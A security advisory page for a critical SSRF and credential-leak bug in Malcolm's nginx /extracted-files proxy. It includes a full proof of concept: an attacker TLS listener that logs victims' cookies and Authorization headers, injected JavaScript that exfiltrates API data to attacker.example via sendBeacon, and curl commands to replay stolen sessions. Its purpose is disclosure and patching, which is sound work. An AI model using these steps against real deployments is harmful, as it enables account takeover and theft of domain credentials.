CVE-2026-129519: Malcolm SSRF

CVE-2026-129519

NVD

Vulnerability Summary

Summary The `/extracted-files` nginx location builds its upstream host by concatenating the caller-controlled part of the request path onto the fixed hostname `extracted-file-http-server`. Because the location regex uses `\b` (word boundary), a request like `/extracted-files.attacker.example/x` matches, and the upstream host becomes `extracted-file-http-server.attacker.example` — a name the attacker controls. An explicit port in the dotted suffix (e.g. `.attacker.example:8443`) also sets the upstream port, so the target port is attacker-controlled, not fixed at 443. Unlike the sibling `hh-extracted-files` proxy (fixed in GHSA-325g-72fr-vj2x), this location does not clear `Cookie`/`Authorization`/`X-Forwarded-` headers and disables upstream TLS verification (`proxy_ssl_verify off`). A signed-in user who opens a crafted same-origin link sends their Keycloak session cookie or Basic/LDAP credentials to the attacker, and the attacker's response is rendered on the Malcolm origin — no `script-src` restriction in CSP — giving the attacker same-origin JavaScript execution as the victim. Public wildcard DNS (e.g. `.nip.io`) with an explicit port turns this into SSRF to any internal TLS service on any port. Same bug exists in the read-only/ISO profile (`nginx_readonly.conf`). Details `nginx/nginx.conf:174-182` ``` location ~ ^/extracted-files\b(.) { include /etc/nginx/nginx_auth_rt.conf; set $filereq $1; proxy_pass https://extracted-file-http-server$filereq$is_args$args; proxy_ssl_verify off; proxy_redirect off; include /etc/nginx/nginx_proxy_forward_headers.conf; } ``` Same block is present in the read-only/ISO profile at `nginx/nginx_readonly.conf:156-164`. Why the host (and port) is attacker-controlled - `\b` is a word boundary between the final "s" of "files" and a following ".". - For `GET /extracted-files.attacker.example/x`, `$filereq` becomes `.attacker.example/x`, so `proxy_pass` evaluates to `https://extracted-file-http-server.attacker.example/x`. - An explicit `:port` in the dotted suffix is passed straight through as the upstream port — confirmed locally (PoC step 5) — so the port is attacker-controlled, not fixed at 443. - `proxy_pass` with variables resolves the whole concatenation as a host via the resolver generated at startup: `nginx/scripts/docker_entrypoint.sh:666-677` ``` resolver <resolved-from-/etc/resolv.conf> valid=30s; ``` - `proxy_ssl_verify off` means the attacker needs no trusted certificate. - Credential disclosure requires the nginx resolver to resolve the attacker's name; air-gapped resolvers return 502 (environmental limit, not a code fix). Negative test (confirmed locally) — a userinfo-style suffix does not split the host: ``` GET /extracted-files@127.0.0.1:8081/userinfo → 502 Bad Gateway ``` nginx tries to resolve `extracted-file-http-server@127.0.0.1` as one hostname and fails. Only the dotted-suffix form is exploitable. Why credentials are exposed `nginx/nginx_auth_keycloak.conf:81` ``` set_headers(username, nil, groups, roles) ``` This location only adds `Host`/`X-Real-IP`/`X-Forwarded-` via `nginx_proxy_forward_headers.conf`; it never clears `Cookie`/`Authorization`. - Keycloak mode: the call above passes a `nil` token, so `Authorization` is not rewritten and `Cookie` is not cleared. `SameSite=Lax` rides along on a top-level GET from an external link; no IP binding; `absolute_timeout` is 10 hours. - Basic mode (`nginx_auth_basic.conf`) and LDAP mode (`nginx_auth_ldap.conf`) never override `Authorization` — forwarded verbatim; LDAP credentials are AD domain credentials. Same bug class already fixed for `hh-extracted-files`: `nginx/nginx.conf:216-220` ``` proxy_set_header Authorization ""; proxy_set_header Cookie ""; proxy_set_header X-Forwarded-User ""; proxy_set_header X-Forwarded-Groups ""; proxy_set_header X-Forwarded-Roles ""; ``` The `/extracted-files` location was missed when this hardening was applied. Why the response is dangerous `nginx/nginx_csp_framing.conf:2` ``` add_header Content-Security-Policy "frame-ancestors 'self'; base-uri 'self'; form-action 'self'"; ``` No `script-src` restriction. Upstream status, headers (including `Set-Cookie`), and body are returned unchanged, so the attacker's HTML/JS runs as `https://malcolm.example/` and can call same-origin `/mapi`, `/arkime`, `/dashboards`, `/wise`, `/extracted-files` with the victim's session. Reference: GHSA-325g-72fr-vj2x — same bug class, fixed in the sibling `hh-extracted-files` location; `/extracted-files` was missed. Proof of concept Environment: Malcolm v26.10.0, default Docker Compose, authenticated as any user (basic, Keycloak, or LDAP). Target: `https://malcolm.example`. 1. Point DNS at your server and self-sign a cert Accepted since `proxy_ssl_verify off`: ``` extracted-file-http-server.attacker.example. A <attacker-ip> ``` ``` openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout privkey.pem -out fullchain.pem \ -subj "/CN=extracted-file-http-server.attacker.example" \ -addext "subjectAltName=DNS:extracted-file-http-server.attacker.example" ``` 2. Run an attacker listener Logs incoming headers and serves a payload that calls same-origin APIs with the victim's session, then exfiltrates: ```python !/usr/bin/env python3 import datetime, http.server, json, ssl PAYLOAD = b"""<!doctype html><meta charset="utf-8"><script> (async () => { const out = {}; for (const p of ['/mapi/', '/arkime/api/sessions?length=1']) { try { const r = await fetch(p, {credentials: 'include'}); out[p] = {status: r.status, body: (await r.text()).slice(0, 2000)}; } catch (e) { out[p] = String(e); } } navigator.sendBeacon( 'https://extracted-file-http-server.attacker.example/collect', new Blob([JSON.stringify(out)], {type: 'text/plain'})); })(); </script>""" class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): with open('stolen.jsonl', 'a', encoding='utf-8') as f: f.write(json.dumps({ 'time': datetime.datetime.now(datetime.timezone.utc).isoformat(), 'method': self.command, 'path': self.path, 'headers': dict(self.headers)}) + '\n') self.send_response(200) self.send_header('Content-Type', 'text/html; charset=utf-8') self.send_header('Content-Length', str(len(PAYLOAD))) self.end_headers() self.wfile.write(PAYLOAD) def do_POST(self): n = int(self.headers.get('Content-Length', 0)) with open('exfil.bin', 'ab') as f: f.write(self.rfile.read(n) + b'\n---\n') self.send_response(204) self.end_headers() def log_message(self, *a): pass ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain('fullchain.pem', 'privkey.pem') srv = http.server.ThreadingHTTPServer(('0.0.0.0', 443), Handler) srv.socket = ctx.wrap_socket(srv.socket, server_side=True) srv.serve_forever() ``` 3. Deliver this same-origin URL to a signed-in victim ``` https://malcolm.example/extracted-files.attacker.example/x.html ``` nginx matches `^/extracted-files\b(.)`, splices the host to `extracted-file-http-server.attacker.example`, and the victim's `Cookie`/`Authorization` headers land in `stolen.jsonl`. 4. Replay the captured credentials ``` Keycloak — replay the session cookie verbatim curl -k -s -H 'Cookie: <name>=<value>' https://malcolm.example/mapi/ ``` ``` Basic/LDAP — decode and replay (AD domain creds in LDAP mode) python -c "import base64; print(base64.b64decode('<base64>').decode())" curl -k -s -u 'user:password' https://malcolm.example/mapi/ ``` 5. Local validation Performed 2026-11-01 (unmodified nginx 1.30.1 on Kali, same `location`/`proxy_pass` logic, against a local echo server on `127.0.0.1:8081`, with an explicit port to test port-control): ``` conf/test.conf worker_processes 1; events { worker_connections 64; } http { resolver 8.8.8.8 valid=30s ipv6=off; server { listen 127.0.0.1:8080; location ~ ^/extracted-files\b(.) { set $filereq $1; proxy_pass http://extracted-file-http-server$filereq$is_args$args; proxy_redirect off; include conf/forward_headers.conf; } } } ``` ``` curl -s \ -H 'Cookie: MALCOLM_SESSION=SECRETSESSION123' \ -H 'Authorization: Basic dXNlcjpwYXNz' \ -H 'X-Forwarded-Roles: ROLE_ADMIN' \ 'http://127.0.0.1:8080/extracted-files.127.0.0.1.nip.io:8081/somepath?x=1' ``` Observed — `HTTP 200 UPSTREAM-REACHED`; nginx log recorded the upstream target: ``` upstream: "http://127.0.0.1:8081/somepath?x=1" ``` The echo server received the full header set unchanged: ``` === GET /somepath?x=1 Host: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Port: 8080 X-Forwarded-Proto: http Cookie: MALCOLM_SESSION=SECRETSESSION123 Authorization: Basic dXNlcjpwYXNz X-Forwarded-Roles: ROLE_ADMIN ``` This proves, end to end at the nginx layer: (1) the dot-suffix splices an attacker-chosen host and nginx resolves it; (2) an explicit `:port` sets the upstream port — the SSRF target port is attacker-controlled, not fixed at 443; (3) `Cookie`, `Authorization`, and `X-Forwarded-*` forward unchanged. The `@`/userinfo form (step above) does not split the host, so only the dotted-suffix form is exploitable. Caveat: the real config's `proxy_set_header Host $host` sends the Malcolm hostname (not the attacker name) upstream — this doesn't affect the splice or credential forwarding under test. Full chain not run against a live Malcolm stack. Blind SSRF variant ``` https://malcolm.example/extracted-files.10.0.0.5.nip.io:8443/ ``` Resolves to upstream `10.0.0.5:8443` — port is attacker-controlled, no SNI sent, response returned to the victim (blind to the attacker). Impact - Account takeover of any authenticated Malcolm user via session replay, and disclosure of LDAP/AD domain credentials in basic/LDAP deployments. - Arbitrary JavaScript execution on the Malcolm origin — same-origin access to `/mapi`, `/arkime`, `/dashboards`, `/wise` APIs and data, including admin actions if the victim is an admin. - Blind SSRF to internal HTTPS services on arbitrary ports (default 443, but attacker-chosen via the dotted-suffix port; response returned to the victim — reachability/reflected-content chains apply). - Affects both the normal and read-only (ISO) nginx profiles. - Scope is Changed because disclosed Basic/LDAP credentials are valid outside Malcolm (e.g. the AD domain). Keycloak-only deployments score ~8.1 (High, Scope:Unchanged), but the stolen session still grants full in-app access.
Severity Level
CRITICAL(9.3)
Published Date
Dec 4, 2026
Last Modified
Dec 4, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
The product transmits or stores authentication credentials using an insecure method that is susceptible to unauthorized interception or retrieval.
The web server receives a URL or similar request from an upstream component and retrieves its contents, but does not sufficiently ensure that the request is being sent to the expected destination.
CVSS v3.1 Base Metrics — Score 9.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionRequired
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • Malcolm <= v26.10.0
Patched Versions
  • Malcolm v26.12.0

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run Malcolm and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Dec 4, 2026Published
  • Dec 4, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new Malcolm CVEsYou are reading CVE-2026-129519. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Dec 5, 2026 02:01 UTC